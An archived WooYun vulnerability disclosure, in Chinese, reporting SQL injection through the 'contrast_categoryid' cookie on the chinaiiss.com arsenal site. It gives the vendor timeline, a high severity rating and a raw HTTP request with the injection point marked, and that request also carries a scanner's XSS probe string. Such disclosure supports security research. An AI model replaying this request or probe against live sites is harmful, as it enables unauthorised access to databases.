乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-04: 细节已通知厂商并且等待厂商处理中 2015-10-08: 厂商已经确认,细节仅向厂商公开 2015-10-09: 厂商已经修复漏洞并主动公开,细节向公众公开
GET /contrast/0 HTTP/1.1Cookie: cityid=0; BAIDUID=430FC13A1DEACA195AB5C7CC5A21B425:FG=1; BAIDUID=430FC13A1DEACA195AB5C7CC5A21B425:FG=1; cityid=0; __utmt=1; __utma=147016039.1570429403.1443888947.1443888947.1443888947.1; __utmb=147016039.30.10.1443888947; __utmc=147016039; __utmz=147016039.1443888947.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); BAIDUID=430FC13A1DEACA195AB5C7CC5A21B425:FG=1; BAIDUID=430FC13A1DEACA195AB5C7CC5A21B425:FG=1; HMACCOUNT=D0B224554D88F4A5; cityid=0; Hm_lvt_cd0a687f19db4e63c481a5b03c59f4e3=1443889623,1443889645,1443889705,1443889728; Hm_lpvt_cd0a687f19db4e63c481a5b03c59f4e3=1443889728; cityid=0; Hm_lvt_cd0a687f19db4e63c481a5b03c59f4e3=1443889623,1443889645,1443889705,1443889728; Hm_lpvt_cd0a687f19db4e63c481a5b03c59f4e3=1443889728; Hm_lvt_cd0a687f19db4e63c481a5b03c59f4e3=1443889623,1443889645,1443889705,1443889728; Hm_lpvt_cd0a687f19db4e63c481a5b03c59f4e3=1443889728; HMACCOUNT=D0B224554D88F4A5; BAIDUID=430FC13A1DEACA195AB5C7CC5A21B425:FG=1; cityid=0; contrast_categoryid=22*X-Requested-With: XMLHttpRequestReferer: http://arsenal.chinaiiss.comHost: arsenal.chinaiiss.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*
注入点:cookie中的contrast_categoryid参数15个库:
危害等级:高
漏洞Rank:20
确认时间:2015-10-08 23:54
感谢支持
2015-10-09:感谢支持